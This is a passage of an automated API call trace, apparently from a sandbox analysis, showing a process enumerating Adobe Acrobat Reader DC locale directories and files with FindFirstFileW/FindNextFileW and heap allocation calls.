dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.373] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.373] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.373] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.373] GetProcessHeap () returned 0xc10000 [0256.373] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.373] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0256.373] GetProcessHeap () returned 0xc10000 [0256.373] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0256.375] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.375] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.375] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.375] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0256.375] GetProcessHeap () returned 0xc10000 [0256.375] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.375] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0256.375] GetProcessHeap () returned 0xc10000 [0256.375] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.376] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.376] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.376] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.376] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.376] GetProcessHeap () returned 0xc10000 [0256.376] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.376] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0256.377] GetProcessHeap () returned 0xc10000 [0256.377] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.378] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.378] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.378] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.378] GetProcessHeap () returned 0xc10000 [0256.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.378] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0256.378] GetProcessHeap () returned 0xc10000 [0256.378] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.379] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.379] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.379] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.379] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.379] GetProcessHeap () returned 0xc10000 [0256.379] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.380] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0256.380] GetProcessHeap () returned 0xc10000 [0256.380] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.549] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.550] GetProcessHeap () returned 0xc10000 [0256.550] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.550] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.550] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0256.550] GetProcessHeap () returned 0xc10000 [0256.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.554] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.554] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.556] GetProcessHeap () returned 0xc10000 [0256.556] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.556] GetProcessHeap () returned 0xc10000 [0256.556] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.557] GetProcessHeap () returned 0xc10000 [0256.557] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.557] GetProcessHeap () returned 0xc10000 [0256.557] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.559] GetProcessHeap () returned 0xc10000 [0256.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.559] GetProcessHeap () returned 0xc10000 [0256.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0256.559] GetProcessHeap () returned 0xc10000 [0256.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0256.562] GetProcessHeap () returned 0xc10000 [0256.562] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0256.564] GetProcessHeap () returned 0xc10000 [0256.564] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0256.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0256.569] GetProcessHeap () returned 0xc10000 [0256.569] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0256.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.570] GetProcessHeap () returned 0xc10000 [0256.570] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0256.570] GetProcessHeap () returned 0xc10000 [0256.570] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0256.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.645] GetProcessHeap () returned 0xc10000 [0256.645] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0256.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, 